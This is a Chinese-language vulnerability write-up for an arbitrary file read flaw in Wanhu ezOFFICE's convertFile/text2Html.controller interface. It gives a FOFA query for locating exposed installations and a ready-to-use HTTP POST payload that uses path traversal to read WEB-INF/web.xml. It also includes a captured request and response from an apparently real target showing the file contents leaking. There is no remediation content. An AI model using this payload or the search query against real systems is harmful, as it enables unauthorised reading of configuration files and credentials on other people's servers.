W1-19万户-ezOffice-任意文件读取

漏洞描述：

万户ezOFFICE convertFile 接口存在任意文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：

网络测绘：

fofa语法：

FOFA：app="ezOFFICE协同管理平台"

漏洞复现：

payload：

```
POST /defaultroot/convertFile/text2Html.controller HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

saveFileName=123456/../../../../WEB-INF/web.xml&moduleName=html
```

效果图:

请求

美化 Raw Hex

```
1 POST /defaultroot/convertFile/text2Html.controller HTTP/1.1
2 Host: [redacted]4:7001
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
  (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 Content-Length: 63
5 Content-Type: application/x-www-form-urlencoded
6 Accept-Encoding: gzip, deflate
7 Connection: close
8
9 saveFileName=123456/../../../../WEB-INF/web.xml&moduleName=html
```

响应

美化 Raw Hex 页面渲染

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Set-Cookie: OASESSIONID=719FB136D7B30287AD69B0BCAF110D5A; Path=/
4 Content-Type: text/html;charset=UTF-8
5 Date: Sun, 10 Dec 2023 09:51:43 GMT
6 Connection: close
7
8 <div>
  &lt;web-app xmlns=&quot;http://java.sun.com/xml/ns/j2ee&quot;
  xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
  xsi:schemaLocation=&quot;http://java.sun.com/xml/ns/j2ee
  http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd&quot; version=&quot;2.4&
      &lt;display-name&gt;defaultroot&lt;/display-name&gt;<br/>
      &lt;jsp-config&gt;<br/>
          &lt;jsp-property-group&gt;<br/>
              &lt;description&gt;<br/>
                  Special property group for JSP Configuration.<br/>
              &lt;/description&gt;<br/>
              &lt;display-name&gt;JSPConfiguration&lt;/display-name&gt;<br
              &lt;url-pattern&gt;*.jsp&lt;/url-pattern&gt;<br/>
              &lt;el-ignored&gt;true&lt;/el-ignored&gt;<br/>
              &lt;page-encoding&gt;UTF-8&lt;/page-encoding&gt;<br/>
              &lt;scripting-invalid&gt;false&lt;/scripting-invalid&gt;<br/
              &lt;include-prelude&gt;&lt;/include-prelude&gt;<br/>
              &lt;include-coda&gt;&lt;/include-coda&gt;<br/>
          &lt;/jsp-property-group&gt;<br/>
      &lt;/jsp-config&gt;<br/>
         &lt;filter&gt;<br/>
          &lt;filter-name&gt;Set Character Encoding&lt;/filter-name&gt;<br

  &lt;filter-class&gt;com.whir.common.util.SetCharacterEncodingFilter&lt;/
  />
          &lt;init-param&gt;<br/>
              &lt;param-name&gt;encoding&lt;/param-name&gt;<br/>
```